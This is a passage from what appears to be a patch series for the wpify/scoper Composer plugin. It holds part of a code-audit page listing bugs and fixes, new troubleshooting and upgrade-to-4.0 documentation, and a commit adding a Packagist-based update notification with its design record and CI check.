Parse --no-dev in the CLI entry point, or get it free from BaseCommand under H4. Also honour the outer run's dev mode from the event.
-
Benefit
-
Smaller, safer production artifacts.
-
Downside
-
Users who unknowingly depend on a dev package being present in deps/ will see it disappear — worth a changelog note.
-
-
- -
-
- H8–H13 -

Six unguarded boundaries

- HighSmall -
- src/Plugin.php:71, 135, 170 · config/scoper.inc.php:79 · scripts/postinstall.php:40, 50 -
-
Impact
-
- H8 empty globalsTypeError inside a php-scoper patcher. - H9 malformed composer-deps.json → fatal "assign property on null". - H10 unquoted php-scoper path → any project path containing a space breaks. - H11 %%placeholder%% substitution into single-quoted PHP literals → parse errors on Windows paths, and an injection surface. - H12 unchecked file_get_contentspreg_replace(false) silently truncates the autoload files to empty. - H13 composerlock derivation can alias composerjson, destroying the user's own config file. -
-
Fix
-
Check every return value at these boundaries and throw with context. For H11, replace the chained str_replace with a single strtr() map plus an assertion that no %% survives — or delete the template entirely under phase 3.
-
Benefit
-
Converts six silent-corruption paths into actionable errors. PHPStan level 5 finds most of them for free.
-
Downside
-
None; purely additive.
-
-
- -
-
- H14–H15 -

The plugin-update-checker support is stale and actively harmful

- HighSmall -
- symbols/plugin-update-checker.php · config/scoper.inc.php:48, 75 -
-
Impact
-
The symbol list names Puc_v4p11_* classes; the installed package ships Puc/v5 and Puc/v5p7 with namespaced classes. Its patcher targets Puc/v4p11/UpdateChecker.php, a path that no longer exists, and one of the two patchers is actively fatal against v5. The file also uses expose-classes, which is then neutralised downstream by expose-global-classes: false and by the scoper-autoload.php rewrite. Its extraction line has been commented out since before the last release.
-
Fix
-
Delete the symbol file, the globals branch and the stale v4p11 patcher at :48. Keep the $checkerClass patcher at :75-77 and extend it to the VCS branch.
-
Benefit
-
Removes genuinely dead config, and the VCS extension fixes GitHub/GitLab-hosted update checking, which is broken in every scoped build today.
-
Downside
-
Corrected — see H14/H15 under consumer verification. The :75-77 patcher is not stale: it compensates for php-scoper prefixing PUC's string-literal registry keys. Deleting it white-screens every plugin using wpify/updates.
-
-
- -
-
- H16 -

Symbol extraction never descends into function bodies

- HighSmall -
- scripts/extract-symbols.php:51–78 -
-
Impact
-
resolve() dispatches on six node types and recurses only into If_. Measured against a full-AST ground truth: 18 real WordPress and WooCommerce symbols are missed today, and any of them appearing in a user's scoped dependency produces a collision.
-
Fix
-
Replace the hand-rolled dispatch with a NodeVisitor that walks the whole AST — the same approach the ConstantCollector already uses. That also resolves the else/elseif, Try_, Declare_ and namespace { } gaps in one change.
-
Benefit
-
One visitor replaces six special cases and closes five separate findings.
-
Downside
-
Regenerates all symbol files — needs a golden-file test and a reviewable diff.
-
-
- -
-
- H17–H18 -

exit; in library code, and path detection by substring

- HighSmall -
- src/Plugin.php:212–216, 269 -
-
Impact
-
A bare exit; terminates the host Composer with status 0 and no output — indistinguishable from success. It is reachable because require_once returns true on a second include in the same process. Separately, createPath() detects the vendor directory by testing whether the path contains the literal substring vendor/wpify/scoper, so a custom vendor-dir or a symlinked path repo makes the user's scoper.custom.php be silently ignored.
-
Fix
-
require plus a thrown RuntimeException. For the path: dirname(Factory::getComposerFile()) and $composer->getConfig()->get('vendor-dir').
-
Benefit
-
Removes the last silent-exit path and makes customisation work in every topology.
-
Downside
-
None.
-
-
- -
-
- H19 -

No tests, no CI, 65 releases

- HighLarge -
- repository-wide -
-
Impact
-
For a tool whose failure mode is "generates subtly broken PHP that fatals inside somebody else's WordPress site", every release has been cut on manual verification. The last two commits both fixed symbol-extraction bugs that a twenty-line golden-file test would have caught.
-
Fix
-
PHPUnit 11 in three tiers — pure-logic units, one real scoping of a checked-in fixture, and golden files for extraction. Inject $cwd, inject a ComposerRunner, replace exit with throw; roughly 40 lines of diff unlocks about 80% of the code.
-
Benefit
-
The prerequisite for every phase-3 change. Realistically 4–5 focused days to meaningful coverage.
-
Downside
-
The only large item in the audit, and it produces no user-visible improvement on its own.
-
-
-
-
-
- -
-
-
- The rewrite -

One architectural change closes a third of the findings

-
-
-

- Most individual findings can be patched where they sit. But a cluster of the worst ones — - C1, H4, H5, H10, H11, and roughly a dozen medium items — all descend from a single design - decision: the pipeline is executed by generating a composer.json whose - scripts array contains shell commands, then running Composer in-process to - execute it. -

-

- That indirection is why absolute host paths end up written into a user-owned tracked file, - why a PHP script has to be assembled by string substitution, why quoting and Windows paths - break, and why the plugin has no way to observe or report on its own steps. -

-
- -
-
-

Today — indirect

-
    -
  1. Write scoper.inc.php + scoper.config.php into a random temp dir
  2. -
  3. String-substitute %%placeholders%% into a copy of postinstall.php
  4. -
  5. Write shell commands with absolute paths into the user's composer-deps.json
  6. -
  7. Run Composer in-process against that file
  8. -
  9. Composer runs the three scripts as subprocesses
  10. -
  11. Process exits — the outer install never resumes
  12. -
-
- -
- -
-

- Scope honestly. This is a phase-3 change of roughly one to two weeks, and it - is the one place in this audit where I would not proceed without the characterisation test - first. The upside is real — it deletes scripts/postinstall.php's template - mechanism, removes composer/composer from the runtime requirements, and makes the - whole pipeline observable through IOInterface. But phases 1 and 2 deliver most of - the user-visible benefit at a fraction of the risk, and they should ship first regardless of - whether you commit to this. -

-
-
-
- -
-
-
- Backlog · 34 -

Medium and low findings

-
-
-

- Full detail for each — with file references, reproductions and measured numbers — is in the - four source reports linked at the foot of this page. -

-
- -

Medium · 20

-
- - - - - - - - - - - - - - - - - - - - - - - - -
IDFindingEffort
M1php-scoper phar located by hardcoded relative path and invoked without a PHP binaryS
M2getcwd() used as project root instead of Composer's Config — breaks under --working-dirM
M3Generated composer-deps.json embeds absolute host paths; churns every run; clobbers user scriptsM
M4Re-entrancy avoided only by accident — unbounded recursion once C1 is fixedS
M5composer/composer in require; symfony/console undeclared; composer-runtime-api missingS
M6Nested install's exit code discarded — failures reported as successS
M7Prefix-sanitising regex /[[a-zA-Z0-9]+]/ does not do what it appears toS
M8Temp dir: weak randomness, pollutes the project root, never cleaned up on failureM
M9Patcher rebuilds and re-sorts a 3,392-needle table for every file — 16.2 ms eachS
M10path() collapses only one doubled separator; mangles absolute and Windows pathsS
M11Top-level const never collected — 97 WordPress constants missingS
M12If_ ignores else/elseif; Try_, Switch_, Foreach_, Declare_ never walkedS
M13Twig patchers target twig_* functions removed in Twig 3.xS
M14No provenance in symbols/*.php; sources unpinned at *; filesystem-ordered outputM
M15Only five hardcoded globals; no way to supply your own symbol listM
M16globals: ["plugin-update-checker"] crashes with a TypeErrorS
M17306-line god class with seven distinct responsibilitiesM
M18PHP 5-era dialect throughout — no strict_types, no types, array() syntaxM
M19No PHPStan, no CS config, no .editorconfig — level 5 predicts six real bugsM
M20No CHANGELOG; README requirements stale at 3.2 and self-contradictory on PHP versionS
-
- -

Low · 14

-
- - - - - - - - - - - - - - - - - - -
IDFindingEffort
L1array_merge_recursive never de-duplicates — 119 duplicate symbols, 1.6%S
L2expose-classes key contradicted downstream by expose-global-classes: falseS
L3autorun strict === false rejects "false" and 0S
L4Unchecked mkdir, copy, file_put_contents, json_encode throughoutS
L5bin/wpify-scoper uses NullIO, returns no exit code, ignores extra argvS
L6class_alias() targets not collected — 46 across WordPress, Woo and wp-cliS
L7Dynamic define() not collected — 6 occurrencesS
L8A braced namespace { } block would fatal the extractorS
L9wp-cli test-suite symbols leak into the exclusion list — 28 entriesS
L10Parser pinned to PhpVersion::fromString("8.1.0") — currently harmless, will rotS
L11Guzzle CurlFactory patcher is a dead no-op against current versionsS
L12config/scoper.config.php ships three always-overwritten defaultsS
L13No .gitattributes export-ignore; symbols/ not marked generatedS
L14extra.textdomain in composer.json is leftover debris from another packageS
-
- -

Measured, not estimated

-
- - - - - - - - - - - -
MeasurementValueNote
Patcher cost, current16.2 ms/file3,392 needles, rebuilt per file
Patcher cost, hoisted strtr1.96 ms/file8× faster, and single-pass so it cannot re-match its own output
Patcher cost, with prefix guard0.011 ms/filewhen the prefix is absent from the file
Projected saving, 2,000-file tree~32 s → ~4 sper scoping run
Symbol load + merge1.2 ms0.6 MB — not a bottleneck; do not optimise
Total symbols shipped7,527119 duplicated across lists
Symbols missed by extraction18 + 97 + 46function bodies, top-level const, class_alias
-
-
-
- -
-
-

Source reports — full detail, reproductions and file references:

- -

Consumer verification — read-only impact analysis across all 22 projects:

-
    -
  • A — alfamarka, marieolivie, dluhopisy, teatechnik
  • -
  • B — delife, stavbadesign, wpify-website, sdcentral
  • -
  • C — mawis, wpify-woo-dognet, wpify-woo-filters
  • -
  • D — wpify-woo-feeds, gopay, paczkomaty, tmp/wpify-woo
  • -
  • E — heureka-scope-review, rosettapress, epicwash, edu.constructiocrm, environmentalbadge
  • -
  • F — sales-booster-kit (+6 modules), feed.szn
  • -
-

- Audited 27 July 2026 against Composer 2.10.2, php-scoper 0.18.19, WordPress 7.0.2, - WooCommerce 10.9.4. Supported PHP window: 8.2–8.5. -

-
-
- - - diff --git a/docs/troubleshooting.md b/docs/troubleshooting.md new file mode 100644 index 0000000..f50789f --- /dev/null +++ b/docs/troubleshooting.md @@ -0,0 +1,142 @@ +# Troubleshooting + +Start with the table. If your symptom is not in it, run the command again with `-v` — the scoper +prints the configuration it resolved and every process it spawns, and that is usually the answer. + +If you are coming from 3.2 or earlier, several long-standing failure modes were fixed in 4.0 rather +than worked around. Check [Upgrading to 4.0](upgrading-to-4.md) before debugging. + +## Quick reference + +| Symptom | Cause | Fix | +|---|---|---| +| `composer install` succeeds, no `deps/` folder, no output at all | The plugin is not allowed to run | `composer config allow-plugins.wpify/scoper true`, or `composer global config --no-plugins allow-plugins.wpify/scoper true` for a global install. Composer skips disallowed plugins silently. | +| `extra.wpify-scoper.prefix is missing in …` | No prefix, or a typo in the key | Add a valid namespace. See [`prefix`](configuration.md#prefix). | +| `… is not a valid PHP namespace` | Hyphens, spaces, a leading digit, or a leading/trailing `\` in the prefix | Use identifiers separated by `\\`, e.g. `MyPlugin\\Deps`. | +| `unknown extra.wpify-scoper.globals entry "…"` | A typo in `globals` | Valid values: `wordpress`, `woocommerce`, `action-scheduler`, `wp-cli`. | +| `"plugin-update-checker" is deprecated and ignored` | `globals` still lists it | Remove the line. PUC is scoped like any other dependency now. | +| `composerlock points at the manifest …` | `composerjson` and `composerlock` resolve to the same file | Point `composerlock` somewhere else. The run publishes the lock over that path and would destroy your manifest. | +| `Class "…\WP_Query" not found` at runtime | A WordPress symbol got scoped | See [A WordPress symbol got prefixed](#a-wordpress-symbol-got-prefixed). | +| `no extra.wpify-scoper block in composer.json, nothing to scope` | You ran `composer wpify-scoper` in a project that does not configure the scoper | Run it from the project root, or add the block. | +| `unknown action "…", expected install or update` | A typo in the command | `composer wpify-scoper install` or `composer wpify-scoper update`. | +| `tmp-XXXXXXXXXX/` left in the project root | The run failed or was killed | See [A `tmp-` directory was left behind](#a-tmp--directory-was-left-behind). | +| `php-scoper was not found` | `wpify/php-scoper` is missing from the install | Reinstall the plugin. The message lists every path that was tried. | +| `the Composer binary could not be located` | The deprecated `bin/wpify-scoper` was driven from a pipeline with no `composer` on `PATH` | Use `composer wpify-scoper install`, or set `COMPOSER_BINARY`. | +| `already running (WPIFY_SCOPER_RUNNING is set), skipping this nested invocation` | A scoping run was triggered from inside a scoping run | See [Nested invocation warning](#nested-invocation-warning). | +| A vendored library breaks after scoping | It builds class names dynamically, so php-scoper cannot see them | Write a patcher — see [Customizing php-scoper](customizing.md). | +| Two developers get different scoped output from the same commit | Different scoper versions | The scoper version is not in any lock file. Pin the same constraint everywhere; see [Installing](configuration.md#installing). | + +## Nothing happens + +The single most common report, and it is almost never the scoper. + +```bash +composer install +# ...no wpify-scoper line, no deps/ folder, exit code 0 +``` + +Composer refuses to load plugins that have not been explicitly allowed, and it says nothing when it +does so. Check: + +```bash +composer config allow-plugins.wpify/scoper +``` + +If that is not `true`, set it — for a global install, in the global config: + +```bash +composer global config --no-plugins allow-plugins.wpify/scoper true +``` + +If the plugin *is* allowed and still nothing happens, the second cause is a missing +`extra.wpify-scoper` block. The scoper deliberately stays a complete no-op in projects that do not +configure it, because a global install activates it for every project on the machine. + +Third: `"autorun": false`. Run `composer wpify-scoper install` explicitly. + +Confirm all three at once with `-v`. If the configuration line does not appear, the plugin is not +running; if it does, the plugin is running and the problem is later in the pipeline. + +## A WordPress symbol got prefixed + +``` +PHP Fatal error: Uncaught Error: Class "MyPlugin\Deps\WP_Query" not found +``` + +Something WordPress declares was moved into your namespace. Three causes: + +1. **`globals` is missing `wordpress`.** Check the block; the default includes it, so this only + happens when the key was set by hand. +2. **A typo in `globals`.** `"wordpess"` produces a warning and is then ignored, leaving you with + no WordPress exclusions at all. Re-read the install output. +3. **Your WordPress is newer than the shipped symbol list.** The lists are regenerated weekly, but + a symbol added in a WordPress release newer than your scoper will be prefixed. Update + `wpify/scoper` and re-scope. + +For a symbol that is genuinely missing from the lists, open an issue — that is a bug in the symbol +extraction, and it is the most serious class of bug this project has. + +For a symbol WordPress does not declare but you still need unprefixed, use +[`scoper.custom.php`](customizing.md). + +## A `tmp-` directory was left behind + +A successful run removes its workspace. A failed one keeps it on purpose: + +``` +wpify-scoper: the run failed, the workspace /srv/my-plugin/tmp-a1b2c3d4e5 was kept +- remove it once you no longer need it. +``` + +Inside it you may find `deps-backup-/`, which holds your **previous** `deps/` folder. The swap +moves the old tree aside before installing the new one, so an interrupted run does not leave you +with no dependencies at all. + +```bash +ls tmp-a1b2c3d4e5/ +# deps-backup-41234/ destination/ source/ scoper.inc.php scoper.config.php +``` + +Recover whatever you need, then delete the directory. Add `tmp-*` to `.gitignore` so a leftover +never gets committed. + +## Nested invocation warning + +``` +wpify-scoper: already running (WPIFY_SCOPER_RUNNING is set), skipping this nested invocation. +Remove extra.wpify-scoper from your scoped manifest to silence this. +``` + +The scoper sets `WPIFY_SCOPER_RUNNING` for the duration of a run, so the nested Composer — which +loads the globally installed copy of the plugin — cannot start a run of its own. Seeing this +warning means something asked for a second run from inside the first. + +Usually: your `composer-deps.json` carries an `extra.wpify-scoper` block. It should not. Remove it. + +## The scoped tree changed and something broke + +Any release that changes what lands in `deps/` can break a site with no warning inside your +project — nothing records which scoper version produced the tree. + +When output changes unexpectedly: + +1. `composer global show wpify/scoper` (or `composer show wpify/scoper`) on both machines. +2. Compare against [CHANGELOG.md](../CHANGELOG.md). Anything that alters generated output is at + least a minor release. +3. Re-scope everywhere and test the result before shipping it. + +Pin the same constraint on every machine and in CI. See [Installing](configuration.md#installing). + +## Still stuck + +Run the failing command with `-vvv` and open an issue with: + +- the `wpify/scoper` version and how it is installed (global or `require-dev`) +- your PHP version +- your `extra.wpify-scoper` block +- your `composer-deps.json` +- the full `-vvv` output + + + +Security issues do not belong in a public issue — see [SECURITY.md](../SECURITY.md). diff --git a/docs/upgrading-to-4.md b/docs/upgrading-to-4.md new file mode 100644 index 0000000..033f1cd --- /dev/null +++ b/docs/upgrading-to-4.md @@ -0,0 +1,201 @@ +# Upgrading to 4.0 + +**Nothing in a correctly configured project needs editing to upgrade.** But 4.0 changes what lands +in `deps/`, and it turns two previously silent failures into errors — so a project that appeared to +work may start telling you it never did. + +> **Re-scope and test the result before shipping it.** Several fixes below alter which symbols end +> up prefixed. That is the point of the release, and it is not something your project can detect on +> its own. + +[Full changelog](../CHANGELOG.md) + +## 1. Bump the constraint + +If you install the scoper globally — most people do — `^3.2` will **never** resolve to 4.0. Nothing +will tell you that; you will simply keep running the old version. + +```bash +composer global config --no-plugins allow-plugins.wpify/scoper true +composer global require wpify/scoper:^4.0 +composer global show wpify/scoper | head -2 +``` + +As a dev dependency: + +```bash +composer require --dev wpify/scoper:^4.0 +``` + +Do this on **every** machine and in **every** pipeline before re-scoping anywhere. The scoper +version that produced a tree is not recorded in any lock file, so a laptop on 3.2 and a CI runner +on 4.0 will produce different output from the same commit and nothing will flag it. + +## 2. Check PHP 8.2 + +4.0 requires **PHP 8.2 or newer**. + +3.2.x declared `^8.1`, but that constraint was unsatisfiable — `wpify/php-scoper` has always +required `^8.2`, so a PHP 8.1 user got a resolver error naming a transitive package instead of a +clear message. In practice you were already on 8.2. + +Update `config.platform.php` in both `composer.json` and `composer-deps.json` to the version your +site actually runs. + +## 3. Re-scope and read the output + +```bash +composer install -v +``` + +Read what it prints. 4.0 is the first release that prints anything at all — the plugin used to +capture Composer's `IOInterface` and never use it, which is why every failure mode below presented +as "nothing happened". + +Then go through the sections that apply. + +## Errors you may now see + +### `extra.wpify-scoper.prefix is missing` + +A missing or invalid prefix used to be a silent no-op: `composer install` exited 0, no `deps/` +appeared, and nothing was printed. It is now a configuration error. + +``` +wpify-scoper: extra.wpify-scoper.prefix is missing in /srv/my-plugin/composer.json. +Set it to a valid PHP namespace, for example "MyPlugin\Deps". +``` + +If you are seeing this on a project that "worked", it never scoped anything. Set a valid prefix and +look at what actually shipped. + +The prefix is now validated as a PHP namespace, so a value with hyphens, spaces, a leading digit or +a leading/trailing `\` is rejected too. + +### `unknown extra.wpify-scoper.globals entry "…"` + +A warning, not an error — your install continues. But a typo here used to be ignored silently and +produced a build that broke at runtime on the first WordPress call. Fix it. + +Valid values: `wordpress`, `woocommerce`, `action-scheduler`, `wp-cli`. + +### `"plugin-update-checker" is deprecated and ignored` + +Remove the entry from `globals`. The shipped list only ever held dead PUC v4 class names, and +Plugin Update Checker is now scoped like every other dependency. + +The patcher that makes PUC work when scoped is retained, so update checking keeps working — +`PucFactory::buildUpdateChecker()` builds its registry lookup key from a variable, which php-scoper +does not prefix, and both the JSON and the VCS branch are still fixed up by hand. + +### `composerlock points at the manifest …` + +New validation. If `composerjson` and `composerlock` resolve to the same file, the run would +overwrite the file your dependency set is declared in. Point `composerlock` elsewhere. + +## Behaviour that changed underneath you + +### Your `composer-deps.json` is no longer rewritten + +The run used to inject a `scripts` block full of absolute host paths into your manifest on every +invocation — clobbering anything already there, a hand-maintained `pre-autoload-dump` in +particular. The manifest is now only ever read. + +If your `composer-deps.json` contains a `scripts` block with paths like +`/Users/someone/.composer/vendor/...`, that is the old debris. Delete it. + +### `scoper.custom.php` may start applying for the first time + +The project root used to be located by looking for the literal string `vendor/wpify/scoper` in the +plugin's own path, which silently ignored your file for a custom `vendor-dir`, a symlinked path +repository, or a global install — which is to say, for most installations. + +If your customizations never seemed to take effect, they are about to. **Re-read them before you +re-scope**, and confirm with: + +```bash +composer install -v | grep customizations +``` + +See [Customizing php-scoper](customizing.md). + +### Failures now fail + +`exit;` inside the plugin used to kill the host Composer process with status 0 and no output — +indistinguishable from success. Failures now throw with a message and a non-zero exit code. + +CI pipelines that were silently producing no `deps/` will start going red. That is the fix working. + +### A failed run keeps its workspace + +Cleanup used to live in a generated child-process script, so it never ran on an error and a `tmp-*` +directory was left behind every time. It is now a `finally` — and deliberately skipped on failure, +because a swap that could not be completed parks your previous `deps/` in `deps-backup-` +inside it. + +Add `tmp-*` to `.gitignore` if it is not there already. + +## Output fixes — re-scope and test + +These are the reason to test rather than just deploy. + +**Namespace exclusions now cover their subtree.** `Automattic\WooCommerce` in `exclude-namespaces` +did not match `Automattic\WooCommerce\Internal\...`, so HPOS classes and +`PHPMailer\PHPMailer\PHPMailer` came out prefixed and fatalled at runtime. Exclusions now cover the +whole subtree, still on segment boundaries — `Foo\Bar` never matches `Foo\Barbecue`. + +**Prefix stripping is anchored.** The un-prefixer used a plain `str_replace()` per excluded symbol, +so any vendor namespace or class whose name *started* with an excluded WordPress symbol had its +prefix stripped and was put back into the global namespace — the exact collision this package +exists to prevent. `WPSEO\Utils` (via the WordPress class `WP`) and `POBox\Mailer` (via `PO`) are +real examples. If your project depends on Yoast's libraries or anything with a similarly-shaped +namespace, this changes your output. + +**An empty or unrecognised `globals` no longer crashes mid-scope.** `exclude-classes` and +`exclude-namespaces` were only defined as a side effect of merging a symbol list, so a project that +enabled none got a `TypeError` from inside a php-scoper patcher. + +**Symlinked `deps/` is no longer destructive.** The recursive delete used `is_dir()`/`is_file()`, +both of which follow symlinks, so a project whose `deps/` was a symlink had the link's *target* +deleted. Every tree walk now checks `is_link()` first. + +**A failed swap can no longer lose your dependencies.** The old tree was deleted before the new one +was in place. It is now moved aside and restored if the move fails. + +**The symbol lists gained constants declared inside function bodies** — which is where WordPress +declares most of them, in `wp_initial_constants()` and friends — plus classes in `else` branches, +`class_alias()` targets, and braced `namespace { }` blocks. More symbols stay unprefixed than +before. + +## New things you may want + +### `composer wpify-scoper` + +```bash +composer wpify-scoper install +composer wpify-scoper update +composer wpify-scoper install --no-dev +``` + +A real Composer command, replacing the pseudo-events. `bin/wpify-scoper` still works and prints a +deprecation notice; it will be removed in a future major. Switch your pipelines. + +### `--no-dev` actually works + +The `*_NO_DEV_CMD` code paths existed since 2023 but nothing could emit them. The flag now works, +and automatic scoping inherits the dev mode of the run that triggered it — so `composer install +--no-dev` also scopes without the `require-dev` block of your scoped manifest. + +## Deprecated + +- `bin/wpify-scoper` — use `composer wpify-scoper install|update`. +- `Plugin::SCOPER_*_CMD` constants and `Plugin::path()` — kept only because they have always been + public. Nothing in a normal project touches them. + +## Support + +4.x is the only supported line. 3.2.x and 3.1.x are end of life and will not receive fixes, +including security fixes. See [SECURITY.md](../SECURITY.md). + +If the upgrade breaks something not covered here, [open an issue](https://github.com/wpify/scoper/issues) +with the output of `composer install -vvv`. From 56bd054e8d2ad42cd84b5fdf25078a414de53cde Mon Sep 17 00:00:00 2001 From: Daniel Mejta Date: Thu, 30 Jul 2026 19:33:26 +0200 Subject: [PATCH 6/6] Tell the user when a newer release of the scoper exists A scoping run now ends by reporting a newer published version of the plugin, with a command for a patch or minor and a link to the upgrade guide for a major, since `composer update` cannot cross one on its own. The source is Packagist's package metadata rather than the GitHub tag API, which is a deliberate deviation recorded in docs/adr/0001: a version on Packagist is one that can actually be installed, and GitHub's unauthenticated API is rate limited per IP in a way that breaks on shared office and CI addresses. It behaves like the courtesy it is. The answer is cached for 24 hours in Composer's machine-global cache dir, and only a successful lookup resets that clock, so being offline in the morning does not cost the check in the afternoon. The request has its own 3s timeout because Composer's default is 300, and a size cap. Anything that goes wrong is swallowed, with the reason shown only under -v, so a Packagist outage or a corporate proxy can never slow down or fail a run. Nothing about the user or their project is sent. Silent whenever it would be noise: non-interactive runs (CI, Docker builds, deploy scripts), WPIFY_SCOPER_NO_UPDATE_CHECK, COMPOSER_DISABLE_NETWORK, and any installed version that is not stable, which keeps contributors working from a checkout and anyone deliberately testing an RC from being nagged. The short-circuits are ordered so nothing reaches the network before every reason to stay quiet is ruled out. ReleaseSource exists as an interface for the same reason ComposerRunner does: so the decision can be exercised without touching the network. The notice is emitted from the finally in Scoper::run(), which puts it after the environment is restored, gives it to failed runs as well as successful ones, and keeps the nested Composer process from ever emitting one. The major-version URL is generated from a template, so docs.yml grows a job asserting that a guide exists for every major from 4 up to the newest tag. Its paths filter had to go: a release tag is precisely the push that touches no markdown, which is the one moment the guard needs to run. --- .github/workflows/docs.yml | 62 +++++- CHANGELOG.md | 8 + ...t-not-github-tags-as-the-release-source.md | 26 +++ docs/configuration.md | 47 +++++ src/PackagistReleaseSource.php | 141 +++++++++++++ src/Plugin.php | 9 +- src/ReleaseSource.php | 22 +++ src/Scoper.php | 7 + src/ScoperCommand.php | 9 +- src/UpdateNotifier.php | 186 ++++++++++++++++++ tests/Unit/PackagistReleaseSourceTest.php | 53 +++++ tests/Unit/UpdateNotifierTest.php | 160 +++++++++++++++ tests/fixtures/packagist/wpify-scoper-p2.json | 32 +++ 13 files changed, 755 insertions(+), 7 deletions(-) create mode 100644 docs/adr/0001-packagist-not-github-tags-as-the-release-source.md create mode 100644 src/PackagistReleaseSource.php create mode 100644 src/ReleaseSource.php create mode 100644 src/UpdateNotifier.php create mode 100644 tests/Unit/PackagistReleaseSourceTest.php create mode 100644 tests/Unit/UpdateNotifierTest.php create mode 100644 tests/fixtures/packagist/wpify-scoper-p2.json diff --git a/.github/workflows/docs.yml b/.github/workflows/docs.yml index 57f051a..3be1f61 100644 --- a/.github/workflows/docs.yml +++ b/.github/workflows/docs.yml @@ -7,11 +7,11 @@ on: paths: - '**.md' - '.github/workflows/docs.yml' + # No `paths` filter on push: the upgrade-guide job below has to run when a release tag is + # created, and that is exactly the push that touches no markdown at all. push: branches: [ master ] - paths: - - '**.md' - - '.github/workflows/docs.yml' + tags: [ '*' ] workflow_dispatch: permissions: @@ -40,3 +40,59 @@ jobs: --exclude-path CHANGELOG.md './**/*.md' fail: true + + upgrade-guide: + name: Upgrade guide exists for the current major + runs-on: ubuntu-latest + steps: + # UpdateNotifier builds the upgrade-guide URL for a new major by convention, from a template + # rather than from anything it can verify. Nothing else would notice a major shipping without + # its guide until users started landing on a 404 months later, so the convention is asserted + # here instead. + - uses: actions/checkout@v5 + with: + fetch-depth: 0 + + - name: Check docs/upgrading-to-.md + env: + # The major the guide convention starts at. Nothing before 4.0 has one and nothing ever + # will, so the check is vacuous until 4.0.0 is tagged. + FIRST_DOCUMENTED_MAJOR: 4 + run: | + set -eu + + tag="$(git tag --sort=-v:refname | head -n 1)" + + if [ -z "$tag" ]; then + echo "No tags yet, nothing to assert." + exit 0 + fi + + newest="${tag%%.*}" + + case "$newest" in + ''|*[!0-9]*) + echo "Newest tag '${tag}' is not numerically versioned, nothing to assert." + exit 0 + ;; + esac + + missing=0 + + # Every major from the first documented one up to the newest released one, so that a + # skipped major cannot open a hole either. + major="$FIRST_DOCUMENTED_MAJOR" + while [ "$major" -le "$newest" ]; do + guide="docs/upgrading-to-${major}.md" + + if [ -f "$guide" ]; then + echo "ok: ${guide}" + else + echo "::error file=${guide}::Missing. UpdateNotifier sends users crossing into ${major}.x to this file, so without it the notice links a 404." + missing=1 + fi + + major=$(( major + 1 )) + done + + exit "$missing" diff --git a/CHANGELOG.md b/CHANGELOG.md index 133dd03..cf0ef16 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -96,6 +96,14 @@ result before shipping it** — several of the fixes below alter which symbols e fails rather than opening a pull request if any symbol count drops — a silently truncated list is how a broken extractor would otherwise ship. - `CONTRIBUTING.md`, and a troubleshooting section in the README. +- **An update notification.** A scoping run now ends by telling you when a newer release of the + plugin exists, and how to get it — a plain command for a patch or minor, a link to the upgrade + guide for a major, since `composer update` cannot cross one. It reads the same public Packagist + metadata Composer resolves against, sends nothing about you or your project, caches the answer + for 24 hours, gives up after three seconds, and can never fail or delay a run. It is skipped + entirely when the run is non-interactive, which is CI and Docker builds, and when + `WPIFY_SCOPER_NO_UPDATE_CHECK` or `COMPOSER_DISABLE_NETWORK` is set. See + [Update notifications](docs/configuration.md#update-notifications). ### Removed diff --git a/docs/adr/0001-packagist-not-github-tags-as-the-release-source.md b/docs/adr/0001-packagist-not-github-tags-as-the-release-source.md new file mode 100644 index 0000000..aa0fe87 --- /dev/null +++ b/docs/adr/0001-packagist-not-github-tags-as-the-release-source.md @@ -0,0 +1,26 @@ +# Packagist, not GitHub tags, as the release source + +Status: accepted + +The update notice was asked for as "check whether there is a newer tag in the GitHub repository", +and the code queries `https://repo.packagist.org/p2/wpify/scoper.json` instead. That deviation is +deliberate, for three reasons. + +**A tag is not a release.** The plugin is installed with `composer global require wpify/scoper`, +so what matters to a user is whether a newer version exists *on Packagist*, which is the only +place `composer update` resolves against. A tag that has been pushed but not yet published is not +something the notice could tell anyone to install, and a notice that cannot be actioned is worse +than no notice. + +**The GitHub API is rate limited where this code runs.** Unauthenticated requests are capped at 60 +per hour per IP. Scoping runs happen on developer machines behind shared office NAT and on CI +runners behind shared cloud addresses, so a meaningful share of users would get `403` rather than +an answer. Packagist's package metadata is CDN-served, unauthenticated and not rate limited. + +**Composer already speaks it.** `HttpDownloader` carries the user's proxy configuration, TLS +settings and `COMPOSER_DISABLE_NETWORK`, so using the endpoint Composer itself uses means the +check inherits all of it rather than reimplementing any of it. + +The consequence to be aware of: a version that is tagged in git but not published on Packagist is +invisible to the notice. That is the correct behaviour — such a version is also uninstallable — +but it does mean the notice lags a tag by however long Packagist takes to pick it up. diff --git a/docs/configuration.md b/docs/configuration.md index 68c5ff9..29d8114 100644 --- a/docs/configuration.md +++ b/docs/configuration.md @@ -248,10 +248,57 @@ Use `composer wpify-scoper` instead. | `COMPOSER` | Composer | Names the manifest Composer reads. **Cleared for the duration of a run** and restored afterwards, because the nested Composer would otherwise look for your `composer-deps.json` inside the temporary workspace. | | `COMPOSER_VENDOR_DIR` | Composer | Names the directory Composer installs into. Also **cleared for the duration of a run** — php-scoper's finder only ever looks at the workspace's own `vendor/`. | | `WPIFY_SCOPER_RUNNING` | the scoper | Set to `1` while a run is in progress. It is how the nested Composer — which loads the globally installed copy of this plugin — knows not to start a run of its own. Do not set it yourself. | +| `WPIFY_SCOPER_NO_UPDATE_CHECK` | the scoper | Set to any non-empty value to switch off the [update notification](#update-notifications). | +| `COMPOSER_DISABLE_NETWORK` | Composer | Composer's own offline switch. The update check honours it and does not run. | Exporting `COMPOSER` or `COMPOSER_VENDOR_DIR` in your shell used to break scoping for that one developer and nobody else. It no longer does. +## Update notifications + +When a scoping run finishes, the plugin tells you if a newer version of itself has been released: + +``` +wpify-scoper: version 4.0.1 is available, you have 4.0.0. +wpify-scoper: update with "composer global update wpify/scoper". +``` + +Crossing a major version links the upgrade guide instead of a command, because +`composer update` cannot cross a major on its own. + +### What it does on the network + +One unauthenticated `GET` to `https://repo.packagist.org/p2/wpify/scoper.json`, the same public +package metadata Composer itself reads when resolving this package. **Nothing about you, your +project or your dependencies is sent** — it is a plain request for a file, with no query string +and no request body. + +The answer is cached in Composer's own cache directory for 24 hours, so this happens at most once +a day per machine no matter how many projects you scope or how often. Only a successful lookup +resets that clock, so being offline in the morning does not cost you the check in the afternoon. + +The request has a three-second timeout and is capped in size. If it fails for any reason — +offline, a proxy, Packagist having a bad day — the run is entirely unaffected and nothing is +printed. Run with `-v` to see why it failed. + +Packagist rather than GitHub's tag API on 